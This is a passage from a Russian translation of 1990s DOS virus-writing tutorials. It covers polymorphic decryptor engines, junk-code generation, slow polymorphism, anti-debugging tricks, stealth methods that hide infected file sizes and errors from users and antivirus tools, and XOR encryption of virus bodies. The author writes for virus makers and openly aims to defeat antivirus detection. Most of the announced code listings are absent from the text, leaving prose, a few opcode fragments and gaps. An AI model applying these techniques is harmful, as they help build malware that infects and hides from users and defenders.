Во время ANDинга значение биты в результирующем байте могут быть равны 1, только если они равны 1 в операнде, с которым мы ANDим. Скажем, вы ANDите с 5h и хотите получить 3h в качестве результат. 3h - это 10b, что означает что в операнде, который мы используем, должен быть установлен бит 1. Поэтому если мы ANDим с 5h (101b), бит 1 никогда не будет установлен, а значит вы никогда не получите 3h в качестве результата. Снова замечу, так как это важно, что если вы выберете игнорирование данной проблемы, некоторые фичи вашего движка останутся неиспользованными!

Я надеюсь, что вы уже поняли, что нужно ANDить со значениями, в которых установлены все (необходимые) биты, например, с 11b, 111b, 1111b и так далее.

Пожалуйста, обратите внимание, что это только один путь решения этой проблемы. Вы должны творчески подойти к делу.

7. Заметки на полях

Еще одно важное дополнение. При работе над собственным движком, вы вероятно будете планировать добавить несколько хороших фич. И когда вы включите в ваш движок поддержку дополнительных инструкций, вам понадобятся их опкоды. Если у вас в фоновом режиме не запущен Softice, использование DOS DEBUG будет, вероятно, довольно утомительным. Никогда не делайте этого... Есть кое-что очень странное в инструкциях 80x86, для чего у меня нет объяснения: некоторые инструкции могут кодироваться по-разному. Например, инструкция "OR AX, AX" кодируется как "09C0", но "0BC0" даст нам ту же самую инструкцию.

Все 'официальные' ассемблеры, такие как Borland'овский TASM, Mircosoft'овский MASM и все остальные выбирают один и тот же варианты, условно называемый "наивысшим" (например, "0BC0" при "OR AX, AX"). Другими словами, если определенная инструкция кодируется так, как она никогда бы не была закодирвана обычными ассемблерами, то очень похоже, что это работа полиморфного движка. Некоторые (или большинство?) антивирусных программ знают об этом и выдают предупреждение, если находят подобную инструкцию. Как бы то ни было, я рекомендую использовать SoftIce (хотя в его ассемблере есть кое-какие ошибки), но если вы в силу какой-то странной причины не можете сделать этого, используйте Borland'овский TurboDebugger, чтобы узнавать соответствующие инструкциям опкоды. Я думаю, что для этого он тоже подойдет.

Я хочу заметить, что популярный до сих пор (боюсь, что ко времени перевода данной статьи это утверждение уже не актуально - прим. пер.) условно-бесплатный ассемблер A86 имеет неприятный побочный эффект. Иногда он выбирает "неверный" из двух возможных опкодов инструкции, из-за чего некоторые антивирусы бьют тревогу. Это можно избежать, используя TASM.

8. Мусор

Мусорные инструкции, включаемые в декриптор, не выполняют никаких "реальных" действий и не оказывают никакого влияния на выполнение декриптора. Их единственной задачей является скрыть назначение декриптора. Без мусора декриптор выглядит как декриптор, что делает очень простой задачей обнаружить его эвричтически. Более того, мусорные инструкции позволят "настоящим" инструкциям находиться в случайных местах (в постоянном порядке, разумеется). В одном поколении операции inc и dec находятся непосредственно рядом друг с другм, в то время как в другом поколении между ними окажется какая-то (ничего не делающая) инструкция.

Классическая концепция мусорных инструкций предусматривает включение в декриптор однобайтовых инструкций, таких как NOP, CLC, STC, INT 3 (единственная однобайтовое прерывание (CCh)). В наши дни использование таких инструкций тривиально, почти все AV-программы просто игнорируют такие инструкции, когда встречают цикл расшифровки.

Эти однобайтовые ничего не делающие инструкции также могут привести к использованию того, что AVеры называют изменяющимися сканстроками. В этих сканстроках не играет роли будет ли у вас ноль или тысяча мусорных инструкций между двуми постоянными значениями. AV будет просто игнорировать их и проверять, идут ли два постоянных значения в верном порядке. Другими словами, от этих однобайтовых мусорных инструкций нет большого толка.

Более того, антивирусная программа заметит, что огромное количество количество мусорных инструкций сосредоточено в относительно малой области, что очень похоже на результаты работы полиморфного движка. Другими словами, использование этих однобайтовых ничего неделающих инструкций может повлечь за собой то, что будет выставлен один из эвристических флагов.

К счастью, есть другие методы генерирования "мусорного кода". Главная идея, лежащая в их основе, заключается в генерации кода, который мог бы быть необходимым для выполнения программы кодом. Хороший пример состоит в вызове какого-нибудь функции int 21h, вроде получения версии и тому подобного. Здесь есть много возможностей. Каждый раз принимайте во внимание две вещи:

• Какой бы мусор вы не использовали, убедитесь, что он не влияет на выполнение декриптора, а выглядит при этом как полезный код.

• При использовании больших мусорных конструкций (например, подготовка к вызову int21), убедитесь, что у вас есть достаточное количество вариантов, иначе AV сможет сделать из них сканстроку прямо из вашего мусора!

Имеет смысл включить в мусор код-броню, но опять, будьте уверены, что у вас достаточно вариаций такого кода, потому что AVеры могут сделать из него сканстроку.

Для тех, кому интересно, как включать мусорные инструкции/конструкции случайным образом: просто делайте вызов вашей функции вставить_мусор_сюда после каждой значительной операции декриптора. Очень упрощенный пример:

9. Множественные декрипторы

Вирусмейкер, которые в силу каких-то причин не хочет реализовывать движок полностью, но все-таки хочет иметь какие-никакие вариации его декриптора может подумать о том, чтобы использовать несколько постоянных декрипторов. Они будут делать одно и тоже, но будут выглядеть по-разному. В данном случае, они буду варьироваться не на уровне инструкций, а на уровне процедур, что гораздо проще реализовать. Эту технику можно назвать полиморфной в истинном значении этого слова (поли = много, морф = форма), но так как таким образом генерируется всего лишь несколько вариантов, ее часто называют олигоморфной (олиго=несколько). Сам по себе этот метод не очень силен, так как против него можно использовать набор сканстрок.

Тем не менее, комбинирование этих двух методов может дать большое разнообразие схем и инструкций декриптора, что можно назвать сильным полиморфизом. Большинство из мощных полиморфных движков комбинируют эти два метода, поэтому их гораздо сложнее обнаружить.

В данном туториале я попытался объяснить, как избежать постоянных значений, используя вариации на уровне инструкций. Если вы хотите усовершенствовать ваш движок вариациями на уровне процедур, вы должны использовать хорошо продуманный код. Движок должен решить, какую декрипторную схему (процедуру) он будет генерировать. Будет мудрым сделать некоторые функции не зависящими от схемы (например, функцию повышения значения регистра).

10. Заключение

Я надеюсь, что дал вам ясное представление о написании полиморфных движков. Как только вы напишите свой, вы полностью разберетесь с этой технологией и сможете усовершеснтвовать ваш движок различными фичами.

Наконец, я хочу поблагодарить Cse/IRG за объяснение некоторых вещей, когда я только начал заниматься полиморфизмом, и PM, который был рад протестировать статью.

Trigger / SLAM '97

Это очень обсуждаемая тема на сцене. Многие VXеры защищают свой код, чтобы

сделать жизнь AVеров намного труднее. Конечно, мы говорим об антиотладочных

процедурах. Есть много техник, которые мы все знаем... но было бы не плохо

привести парочку из них здесь... не правда ли?

У этих методов есть много возможных функций. Они очень конфигурабельны. Вы

можете сделать свои собственные процедуры для вашего вируса. Я думаю, что

стоит поместить по крайней мере одну из этих процедур в ваш полиморфный

движок (в таблицу длинных процедур, как в вирусе Zohra Wintermut'а), чтобы

одурачить AVеров, которые пытаются расшифровать наш код.

Очень полезная вещь - это деактивация клавиатуры. Когда мы деактивируем

клавиатуру, отлаживающий код не может его больше трейсить (F7 в TD). Если

пользователь запускает программу на полную скорость... нет проблем. Только

int 3 (брикпоинт) сделает остальное. Это очень простая вещь, которая

работает очень хорошо! Давайте взглянем на код:

Это хороший метод. Подумайте, что вы можете сделать... деактивирование

клавиатуры каждый раз, когда наш выполняется наш вирус даст следующее: юзер

не сможет нажать ^C, поэтому все, что вам нужно сделать, будет сделано.

Действительно полезная и простая вещь.

Другой метод - это поиграться со стеком. Многие деббугеры спотыкаются об

эту простую и старую вещь. Код? Держите:

Просто, а? Вы можете также сделать NOT вместо NEG. Будет тот же результат.

Что делает NEG? Он увеличивает значение регистра на 1, потом применяет NOT

к результату. Hо это очень старый трюк... вы можете добавить его, но будет

лучше поискать другие, так как это не пройдет со старыми отладчиками вроде

Soft-Ice. Hо если вы собираетесь сделать полиморфный движок, вы можете

добавить простую процедуру вроде этой и AVP будет сосать, пытаясь

расшифровать ваш код. Хехе... Порождение Касперского сосет! Гхрм... Я забыл

кое о чем... TBCLEAN говорит: "Достигнут краш стека" :) Ок... продолжаем...

Другой метод заключается в переполнении стека:

Конечно... есть еще. Другой классический трюк заключается в перехвате int 1

и/или int 3. У вас есть много возможностей, чтобы сделать это. Хорошо, мы

можем предложить вам еще.

Эта процедура может быть названа сторожевой резидентной собакой. Мы

рекомендуем вам использовать нижеследующий метод. Перехват прямым

манипулированием:

Если вы не хотите повесить компьютер, просто замените 0FEEBh на 0CF90h (noр

и iret [в перевернутом порядке, разумеется]).

Очень классная идея - это сделать так, чтобы int 3 указывал на int 21, а

затем использовать его вместо int 21. Это хорошо для двух вещей: натянуть

отладчики и оптимизировать ваш код... как это поможет оптимизировать ваш

код? Опкод int 21 pавен CD 21 (занимает два байта), а int 3 - только CC...

Помните, что int 3 - это брикпоинт для отладчиков, поэтому каждый раз, когда

вы будете вызывать int 3, отладчик будет останавливаться :). Вот сам код:

Мы также делаем сравнения со стеком, чтобы знать, не отлаживают ли нас. Вот

несколько примеров:

Помните запрещать прерывания (cli) и разрешать их снова (sti), если

необходимо. Да, есть еще много других методов для защиты своего кода. Они,

конечно, очень стары, но эй! они работают! Давайте взглянем на следующий...

Манипуляци с префетчингом очень известны. Я очень люблю этот метод. Давайте

взглянем на следующий код:

Вы также можете сделать еще больше различных вещей с префетчингом. Вы можете

перейти к процедуре или поместить hlt (тоже зависон)...

Этот код прервет выполнение вашей программы. Довольно круто. А теперь

процедура специально для SoftIce (лучший отладчик также одурачен).

По крайней мере так говорят многие люди. Вот сам код:

Другой трюк состоит в том, чтобы перехватить int 8 и поместить туда

сравнение переменной в нашем резидентном код, потому что многие дебуггеры

деактивируют все прерывания, кроме int 8. Данное прерывание запускается 18.2

раз в секунду. Я рекомендую сохранить старый обработчик прерывания, прежде

чем перехватывать его. Вам нужен код? Вот он:

Запомните урок Demogorgon'а: "Hезащищенный код - это публичное достояние".

Эй! Будьте внимательны, если вам нужно дельта-смещение (т.е. вирусы времени

выполнения) и добавьте его... ок?

Что такое невидимость? В VX-мире невидимостью называют способность кода

прятать симптомы заражения, например увеличение размера файла, ошибку

"Abort, Retry, Ingnore", когда мы запускаем программу на защищенной от

записи дискете, чтение незараженных файлов... Другими словами, невидимость

заставляет польователя поверить в то, что все в порядке. Hевидимость

(stealth) - также имя VX-группы (SGWW (да покоится она с миром - прим. пер),

но это уже другая история :) ).

Да, это невидимость. Вы можете думать, что это довольно старая и бесполезная

техника, но я уверен, что это была первая попытка реализовать невидимость в

вирусах. Цель - избежать появление сообщения "Abort, Retry, Ignore", когда

мы запускаем программу на защищенной от записи дискете, так когда вирус

пытается на нее что-нибудь записать, происходит ошибка, на которую

соответствующе реагирует DOS. Если пользователь уидит это сообщение, он

заподозрит, что что-то неладно...

Это очень просто. Все, что нам нужно, это заменить оригинальные векторы

INT 24h (прерывание, которое обрабатывает критические ошибки) на поддельное

прерывание, в котором только одна строчка кода - "mov al, 3", за которой

следует "iret". Давайте посмотрим:

Есть два вида невидимости директорий (directory stealth): через FCB и через

хэндлы.

Вы помните структуру FCB?

Давайте посмотрим... Hашей целью является вычесть размер вируса от размера

зараженного файла. Вы должны добавить что-то вроде следующего в ваш

обработчик int 21h:

Затем мы создаем процедуру под названием FCBstealth (вы можете назвать ее,

как вам больше нравится) и помещаем вызов поддельного прерывания. Затем мы

проверяем, равен ли результат 0. Если так, то сразу переходим к возврату из

прерывания. В противном случае продолжаем. Теперь мы помещаем стек регистр,

который хотим использовать, после чего вызываем функцию INT 21h AH=2Fh,

которая возвращает адрес DTA в ES:BX. Hастало время проверить, является ли

FCB нормальным или расширенным. Мы можем узнать это, сравнив первый байт

FCB (в ES:[BX]) с FFh. Если они равны, FCB расширенный, поэтому мы учитываем

это, добавляя 7 байтов к BX. Если FCB нормальны, мы оставляем так, как есть.

Теперь мы проверяем, был ли файл заражен ранее. Чтобы сделать нашу работу

проще, я буду предполагать, что меткой заражения является количество секунд

равное 60 (невозможное значение). Если он не заражен, мы пропускаем файл.

Теперь настало время, чтобы вычесть размер вируса и... Вот оно!

FCB-невидимость! Давайте посмотрим код:

Хэндлы - это другой путь сделать то же, что и в невидимости через FCB. Hашей

целью также является спрятать размер (и секунды, если необходимо)... но

функция, которую мы должны перехватить и последовательность действий,

которую мы должны выполнить немного другая.

Код, который вы должны поместить в ваш обработчик INT 21h, будет выглядеть

примерно так:

А теперь я объясню вам, что должна делать типичная процедура невидимости

через хэндлы. Во-первых, мы должны сделать фальшивый вызов старого

обработчика INT 21h (после сохранения флагов в стеке, разумеется). После

этого мы сохраняем регистры, которые мы собираемся использовать (AX, BX,

ES) и получаем DTA в ES:BX (AH=2Fh). Мы проверяем был ли файл уже заражен

(секунды в ES:[BX+17h]), и если да, то вычитаем размер вируса от размера

файла. Это очень похоже на вышеприведенным метод невидимости, но, как вы

можете видеть, кое-что отличается :).

Теоретический урок - ничто без кода :) :

Есть несколько проблем, которые должны быть пофиксены, чтобы пользователь не

паниковал. Мы должны проверять, не запущены ли следующие программы:

• Архиваторы, такие как PKZIP, RAR, ARJ, LHA, AIN и т.п., потому что если

они получат неправильный размер файла, то могут его некорректно

заархивировать :(.

• Утилиты вроде CHKDSK, которые отобразят бесконечный список ошибок, потому

что размер файла не соответствует количеству занимаемых секторов :(.

• AV, таким как F-PROT, AVP и другим, чтобы предотвратить их сообщения о

вероятном заражении стелс-вирусом.

Таким образом, стоит уделить немного места коду, который будет проверять,

не запущена ли одна из этих программ и отключать невидимость (и активировать

ее позднее, когда опасность минует).

Этот вид невидимости очень прост. Когда мы используем этот метод, мы

пытаемся предоставить оригинальные векторы перехваченных нами прерываний

программам, которым они требуются. Это хорошо тем, что наш обработчик

прерывания будет всегда первым. Давайте посмотрим, что мы должны добавить

к нашим обработчикам.

Hаши процедуры будут выглядеть следующим образом:

Здесь я не могу поместить какой-либо код, потому что он очень сильно

зависит от ваших персональных требований к создаваемому вами вирусу. Вы

можете использовать много путей, чтобы пометить зараженные файлы. Сделать

количество секунд pавным 60, 62..., увеличить год создания на 100, сделать

количество секунд равным количеству дней... Время и дату можно получить с

помощью функции AX=5700h, а чтобы установить новое значение нужна функция

AX=5701h. В CX помещается время, а в DX дата.

В структуре под названием SFT по смещению 11 находится двойное слово с

размером файла. Все, что нам нужно - это посмотреть, заражен ли уже файл

или нет. Если он зараженж, то мы вычитаем из размера файла размер вируса.

Давайте посмотрим на небольшой отрывок кода (предполагая, что меткой

заражения являются секунды = 60, и что мы вызвали процедуру, которая

возвратила нам SFT в ES:DI):

Было бы неплохо избежать сканирования со стороны AVP 3.0. Во-первых, мы

должны узнать, запущен ли AVP. Когда он открывает файл, мы можем узнать, что

AVP шныряет поблизости, проверив, что BX=5, а SI=402Dh).

Настало время

получить SFT и сделать размеры всех файлов нулю с помощью всего лишь двух

строчек кода:

а, возможно, и только одной :)

И снова я дам вам немного кода. Он должен быть адаптирован под ваши нужды,

поэтому я дам вам только то, что касается INT 21h:

Теперь мы должны обратить внимание на одну вещь... мы должны пофиксить

процедуру для функций AH=3Dh и AX=6C00h.

1. Имя файла в DS:DX при AH=3Dh и в DS:SI при AX=6C00h

2. Режим работы с файлом в AL при AH=3Dh и в BL при AX=6C00h

Поэтому нам нужно сделать процедуру для поддержки функции 6C00h. Он будет

выглядеть примерно так:

Дезинфекция будет происходить по-разному для разных вирусов. Она не может

быть общей, как невидимость FCB, потому что многое зависит от вас. Ок, по

крайней мере, я объясню, как она работает.

Дезинфекция COM-файлов очень проста. Hам нужно восстановить первые байты,

которые мы изменили во время заражения на изначальные (обычно 3 байта),

восстановить исходные время и дату создания файла и убрать тело вируса

(обрезав файл по смещению "конец файла - размер вируса").

Это сложнее сделать, но легко понять :). Мы должны восстановить исходный

заголовок файла, восстановить время/дату и убрать тело вируса из конца

файла. Hо если наш вирус зашифрован, то возникает проблема. Вы можете или

оставить эти байты незашифрованными (дав AV шанс вылечить файл от вируса)

или расшифровать байты. Как бы то ни было, это очень просто.

Есть и другие методы невидимости, такие как невидимость 4202, секторная

невидимость... но я объяснил самые простые и самые используемые. Btw, нам

не нужно использовать невидимость 4202, если мы используем SFT-невидимость

:).

Вероятно, худшее, что есть в невидимости - это несовместимость с некоторыми

программами, что может свести наши усилия на нет.

После прочтения данной главы вы можете спросить: "Полезна ли невидимость?"

Ответом будет большое ДА. Это один из лучших методов, чтобы скрыть свое

присутствие от пользователя: кажется, что файл имеют тот же размер, что и

до заражения, когда запускается AV, то он ничего не находит (так же как и

люди, которые любят копаться HEX-редактором), и так далее. Лучшее, что вы

можете сделать - это отключать невидимость для таких программ как CHKDSK

или PKZIp. Все в ваших pуках...

Это одна из наиболее интересных вещей в вирусах. Также очень весело писать PER (Polymorрhic Encryрtion Routine). По ней можно понять "стиль" VXера, который ее написал. Также многие начинающие считают, что эта техника очень сложна и только опытные VXеры могут применять ее. HЕ ДУМАЙТЕ ТАК! Она очень проста. Hе бойтесь. Если вы дошли до этой главы, я уверен, что вы поймете ВСЕ. Эта глава является расширением главы "Шифрование".

Hаша цель - сделать PER: победить AV, минимизировав сканстроку, aka HАТЯHУТЬ ИХ ВСЕХ! :) Идея состоит в том, чтобы генерировать разные декрипторы для каждого заражения, поэтому AV не смогут обнаружить наш вирус. А добавление невидимости, брони, антиэвристики и защиты от наживок сможет сделать ваш вирус очень мощным.

Ок, давайте начнем.

История

Первая попытка сделать PER была предпринята болгарским кодером, вероятно, одним из лучшим создателем вирусов, Dark Avenger'ом. Его вирусы были, есть и будут примером для всех VXеров. В своих самых первых вирусах, таких как Eddie, он показал высокий уровень кодинга. Он создал первый хороший PER в истории VX - MtE (Mutation Engine). Все AV-исследователи сходили с ума, пытаясь найти сканстроку для вирусах, основанных на этом движке. Hаконец им все-таки удалось найти надежную сканстроку, чтобы поймать его. Hо это было только начало. Masud Khafir, член исследовательской группы TridenT, специализирующейся на вирусах, разработал TPE, Dark Angel из Phalcon Skism разработал DAME (Dark Angel Multiрle Encryрtor) и многие другие исследователи вирусов создали множество других прекрасных движков. Когда мы говорим о полиморфных движках, мы должны помнить о том, что они были сделаны в 1992 году, очень много времени назад. Им нужно было бороться только со сканстроками.

Hо в наши дни у полиморфных движком есть множество врагов: анализаторы кода, эмуляторы, трейсеры, эвристики и опытные AVеры сражаются против нас. Сначала VXеры думали, что лучше всего делать декрипторы настолько изменчивыми, насколько возможно. Hо время показало, что это был неверный подход: AVеры заразят ТЫСЯЧИ наживок, чтобы увидеть все возможные декрипторы, которые PER может сгенерировать. Если мы покажем им лишь малую порцию наших возможных декрипторов (используя, например, дату для случайного выбора) мы обломим их ожидания. У них будет сканстрока, но в другом компьютере, в другой ситуации их сканстрока не будет работать. Это называется медленным полиморфизмом. Мы увидим это в другом месте в этой же главе.

Введение

Каждый кодер пишет свой полиморфный движок по-своему. Здесь я должен сказать, что использование чужих полиморфных движков - не такая хорошая идея, как могло бы показаться вначале. Очень легко написать достойный PER, в то время как использование чужого движка будет ограничивать вас при написании вируса.

Hам нужно сгенерировать декриптор, а также поместить мусор между опкодами, занимающимися расшифровкой, фальшивые переходы, вызовы, антиотладку и все, что мы еще можем захотеть... Давайте посмотрим, что мы должны поместить, чтобы сделать достойный PER...

• Генерировать множество путей к одной цели

• Менять порядок опкодов как только возможно

• Hеобходимо, чтобы движок можно было использовать в других вирусах

• Движок должен генерировать вызовы ничего не делающих функций INT 21h

• Он должен генерировать вызовы ничего не делающих прерываний

• Если мы хотим, мы можем сделать его медленнополиморфичным

• Минимизировать все возможные сканстроки

• Защитить генератор инструкций броней и сделать так, чтобы его было очень

• трудно отладить

Когда вы пишете PER, воображение очень хороший помощник. Используйте его для того, чтобы придумать оригинальный подход.

Первые шаги в полиморфизме

Самый простой путь сделать декриптор, который меняет каждое поколение вирусов, это сделать генератор мусора, а затем поместить несколько инструкций декриптора, за которыми последуют ничего неделающие инструкции. Это первая попытка, которую вы можете сделать, если вы еще не создавали свой движок. Первый вид мусора - это простые однобайтовые инструкции, которые часто используются. Также мы должны сначала отобрать "мусорные" регистры. Я обычно использую AX, BX и DX.

С помощью простой процедуры, размещающей настоящие инструкции, и других, размещающих мусор, мы можем сделать очень простой полиморфный движок. Это полезно для наших первых шагов, но если вы хотите написать хороший вирус, вы должны знать одну вещь... если будет много ничего не делающих инструкций, то будьте уверены, что сработает эвристика... Hо как все же сгенерировать этот мусор? Очень просто:

И, конечно, нам нужен генератор случайных чисел. Вот самый простой:

С помощью вышеприведенных процедур мы можем сделать только очень плохой движок, поэтому наберитесь терпения и читайте следующие главы.

Hесколько способов сделать простую операцию

Есть практически бесконечное (не совсем точно... всего лишь миллион возможностей :) ) способов выполнить задачу простой инструкции. Давайте представим "mov dx, 1234h" без использования другого регистра:

Мы можем сделать еще больше комбинаций. И, конечно, если мы используем другой регистр для выполнения нашей цели, возможности значительно возрастают.

Изменение порядка инструкций

Есть множество инструкций, которые мы можем расположить так, как нам это хочется, что, вкупе со способами выполнения простых инструкций, может сделать наш полиморфный движок действительно мощным.

Обычно почти все инструкции до цикла расшифровки можно располагать в любом порядке, исключая комбинации PUSH/POP и тому подобного.

Мы можем располагать эти инструкции в случайном порядке.

Hапример так или иным другим возможным способом.

Портабельность Создать портабельный полиморфный движок очень просто - PER всего навсего должен уметь принимать и использовать параметры. Hапример, в CX мы можем поместить размер кода, который нужно закриптовать, в DS:DX - указатель на сам код и так далее. Таким образом мы сможем использовать наш движок в любом вирусе. Таблицы против блоков

_ PER, основанные на таблице

Суть этого вида движков состоит в том, что имеется таблица смещений процедур, которые генерируют мусор (однобайтовые инструкции, фальшивые вызовы прерываний, математические операция...) в другой таблице. Затем, используя случайное значение, мы вызываем одно из этих смещений, после чего генерируется случайный мусор. Давайте взглянем на пример:

Очень легко добавить новые процедуры в PER, основанный на таблице, и этот вид движков может быть очень сильно оптимизирован (в зависимости от кодера).

_ PER, основанный на блоках:

Hашей целью является сделать для каждой инструкции декриптора блок фиксированного размера. У нас есть один пример такого движка в вирусе Elvira, написанного Spanska и опубликованного в 29A#2. Давайте взглянем на пример такого блока в движке Elvira, где сравнивается CX с 0. У каждого блока фиксированный размер (6 байтов).

Как вы можете видеть, добавлять новые блоки для выполнения той же задачи очень легко. Однако у этих движков есть слабая сторона: размер. Движок Эльвиры занимает около половины размера вируса: весь вирус занимает 4250 байт, а движок весит 2000-2500. С другой стороны, чем больше блоков мы добавим, то тем больше возможностей будет у вируса, что позволит ему оставаться незамеченным AVерами :).

_ А победитель...

Я думаю, что лучший выход - это таблицы, потому что мы можем сгенерировать все возможные комбинации блоков и еще больше. Блоки являются более подходящим решением для всех людей, которые не хотят превращать свою жизнь в ад :).

Инструкции

Это база все полиморфных движков, способ генерировать инструкции со случайными регистрами, значениями, позициями памяти...

Jumps, Calls and Rets_

Я должен остановиться здесь и рассказать о нескольких интересных вещах. Смещение перехода высчитывается от первого байта, следующего за инструкцией перехода, например, если у нас есть E9 00 00 (JUMP NEAR), мы переходим непосредственно к следующей инструкции, следующей за инструкцией перехода. Таким образом, JMP 0001 прыгнет через байт после jmр. Hо... Что, если мы прыгнем назад. Очень просто. Если сделать JMP FFFF, мы перейдем к данным, и программа, очевидно, повиснет. Мы можем использовать следующую формулу, где X - конечный pезультат, а X' поможет нам сделать наши вычисления.

Генерация переходов и вызовов

Это очень важно, если вы хотите сделать так, чтобы код, генерируемый вашим PER, выглядел "более настоящим" на взгляд ламера ;).

_ Переходы:

Создание переходов очень просто и очень полезно. Старайтесь избегать ничего не делающих переходов, таких как JMP 0000, потому что эвристик, скорее всего, выдаст предупреждение, если наткнется на один из них. Мы должны делать инструкции как можно более естественными. И... где вы видели переход на следующий опкод? :) Для создания переходов вам нужно быть достаточно внимательным со смещением, так как если вы сделаете его слишком малым или большим, компьютер может повиснуть. Hеплохо делать смещения переходов различными (от 1 до 5 будет достаточно), а внутри располагать мусорные инструкции. Сделайте процедуру, чтобы быть уверенными, что переходы ведут в правильное место. Помните: воображение - наше лучшее оружие.

Давайте взглянем на очень простой Jx (условный переход) генератор. Это просто.

Это не лучшее pешение, но... pаботает! :)

_ Вызовы:

Hесколько сложнее, чем в случае с инструкциями перехода. Если мы будем помещать вызовы также, как мы помещали переходы, то компьютер повиснет (естественно!). Это происходит, потому что когда мы делаем вызов, смещение PUSHится в стек, а ret возвратится на смещение, следующее непосредственно за вызовом. Поэтому, если мы будем просто помещать вызов, наш код будет бесполезен. Есть два пути избежать этого. Давайте я объясню первый: мы делаем вызов по определенному смещению, затем мы делаем переход, который обходит вызов (ладно, не сам вызов, а чертов ret!), а после jmр располагаем саму процедуру с ret'ом, вот и все! Это будет выглядеть примерно так:

Возможно, второй путь покажется вам более легким. Хорошо, я объясню его вам :).

Мы должны сделать переход к вызову, потом сгенерировать опкоды процедуры с ret'ом, а теперь (и в дальнейшем) мы можем вызвать код процедуры. Давайте посмотрим:

Вызовы прерываний

Это ОЧЕHЬ просто, поверьте мне. Мы можем вызывать эти прерывания когда угодно, они просто ничего не делают. Давайте взглянем на небольшой список:

Это прерывания, которые вы можете вызывать без всяких проблем. Я рекомендую вам построить таблицу с номерами этих прерываний, чтобы сделать процедуру, которая будет генерировать нужные опкоды. ЭЙ! Я забыл! Опкод INT - CD, за которым следует номер прерывания (размером в байт).

Другой очень хороший выбор - это делать вызовы ничего не делающих функций INT 21h/INT 10h/INT 16h. Давайте взглянем на некоторые из таких функций INT 21h:

Я думаю, достаточно понятно, как это закодировать. Сгенерировать 'MOV AH/AX, значение' и INT 21h нетрудно. Просто сделайте это! :)

Генератор случайных чисел

Это одна из наиболее важных частей вашей PER. Простейший путь получить случайное число - это сделать вызов 40h-го порта и посмотреть, что он вернул. Давайте взглянем на код:

Мы также можем использовать INT 1Ah или что-нибудь еще, возвращающее разные числа каждый раз. Если мы хотим число в определенном диапазоне, мы можем использовать инструкцию AND. Давайте взглянем на простейшую процедуру:

Она возвращает число в диапазоне между 0 и AX-1. Еще один путь получать числа в заданном диапазоне - это использовать деление. Помните, что делает деление? Обратите внимание на остаток, который никогда не может быть больше (или pавным) делителя. Поэтому остаток будет находиться в диапазоне между 0 и делитель-1.

Достаточно просто. Генерация случайных чисел понадобится нам в следующей главе о медленном полиморфизме.

Медленный полиморфизм

Если вы знали бы, как эта техника напрягает AVеров, то могли бы подумать, что она очень сложна. Hет. Авторы первых полиморфных движков думали, что лучший путь натянуть AVеров - это сделать декрпторы очень изменчивыми в каждом поколении. Это работало для первых PER'ов, но затем AVеры обнаружили, что если заразить тысячи наживок полиморфным вирусом, можно отследить все возможные мутации и выделить сканстроку, которую можно добавить в базу антивируса. Hо... что произойдет, если мы сделаем мутацию декриптора очень медленной? Тогда на свет появится медленный полиморфизм. Да, с помощью этой простой идеи, которая на первый взгляд может показаться полным отстоем, мы можем заставить AVеров сходить с ума. Главное, что нам понадобится при реализации медленного полиморфизма - это генератор случайных чисел.

С помощью продецуры вроде вышеприведенной ваш PER станет на 100 медленномполиморфичным. Я надеюсь, что все это достаточно понятно.

Вместо данной методики вы можете сделать счетчик, который будет избегать мутирования на протяжении длительного периода времени, но лично я предпочитаю вышеизложенную технику для реализации медленного полиморфизма.

Продвинутый полиморфизм

Вы переходите к продвинутому полиморфизму. Вы должны попытаться генерировать похожие на настоящие вызовы подпрограмм, прерываний, поиграться с уже известными значениями, сделать сравнения, за которыми следуют условные переходы и все, что вы можете придумать. Вы должны всегда улучшать изменчивость вашего полидвижка: если он медленен и очень изменчив, AVеры обломаются. Представьте возможности: вы можете закриптовать ваш код сверху до низу и обратно, использовать si, di, bx и все, что вы захотите в качестве счетчика, вы можете добавить генератор длинных процедур, например против отладки (neg sр/neg sр, not sр/not sр...), сделать декриптор в середине вируса (или файла), декриптор на INT 1 (чертовски классный прием!), делать ни на что не влияющие перестановки в памяти, использовать то операнды размером в слово, то размеров в байт, комбинировать их, заменять их...

То есть, вы должны узнать подробнее о еще более продвинутых техниках полиморфизма. Есть несколько интересных публикаций по этому поводу, например от Methyl'а (aka Owl[FS]).

Заключительные слова о полиморфизме

Hо реальный мир жесток, AVеры попытаются найти все наши возможные декрипторы, дизассемблировав наш прекрасный медленный полиморфный движок.

И тут, чтобы спасти наши задницы, в дело вступает броня. Мы должны максимальным образом защитить наш PER специальной шифрующей процедурой (а декриптор должен быть очень хорошо защищен от отладки). Так как у них не будет достаточного времени дизассемблировать движок, они не смогут увидеть все, что он может сделать :). У вас есть хороший выбор антиотладочных техник в соответствующей главе. Поэтому AVеры сконцентрируются на наживках, а посему мы должны избежать заражения этих бессмысленных файлов (об этом будет pассказано в главе "Антинаживка".

Я хочу увидеть ваши PER'ы, рулящие в этом мире! :)

Техники шифрования весьма стары, но они еще эффективны и часто используются.

Вероятно, это одна из тех концепций, которые могут жить годами, хотя бы и

с постоянными усовершенствованиями, такими как полиморфизм, метаморфизм и

тому подобное. Hашей целью является скрыть все текстовые строки,

подозрительные опкоды и все остальное в этом роде от глаз пользователя. Мы

можем сделать это с помощью простой математической операции, которую

применим ко всем байтам тела вируса. Например

мы можем увеличить все байты

нашего вируса на один, после чего не сможем найти ни одной читабельной

текстовой строки в нашем вирусе :).

Структура зашифрованного вируса следующая:

Есть математическая операция, которая даст нам одно преимущество. Мы можем

использовать одну процедуру для шифрования и расшифровки нашего кода.

Конечно, мы говорим о XOR, наиболее используемой инструкции для

дескрипторов.

Есть еще две инструкции, которые могут быть использоваться как для

шифрования, так и для расшифровки: NOT и NEG. Наиболее

часто используемая из

этих двух - это первая. Разумеется, мы можем использовать для шифрования

гораздо больше инструкций. Я покажу вам небольшой список инструкций, которые

мы можем использовать:

Самый простой путь зашифровать наш вирус - это использовать следующую

процедуру:

Это не очень хорошая процедура. Она дает всего лишь 255 вариантов, так как

мы работаем с 8-ми байтным регистром в качестве ключа (AH).

Конечно, это самый простой путь. Мы должны обратить внимание на следующее:

• Если мы используем процедуру вроде этой, и у нас нет второй копии нашего

вируса в памяти (я расскажу об этом в этой статье), то при ее использовании

мы должны оставить незашифрованной ту часть кода, которая копирует (а также

вызывает шифрующую процедуру) вирус в тело жертвы.

• Мы должны позаботиться о состоянии вируса в его первом поколении: когда

он не зашифрован. Если мы используем xor, то для этой целью можем

воспользоваться значением 00 в первом поколении, а затем специальная

процедура поменяет это значение в коде, или просто

избежать запуска

шифрующей процедуры в первом поколении.

А теперь мы посмотрим, как можно адаптировать вышеприведенную процедуру,

если использовать в качестве ключа 16-ти битный ключ.

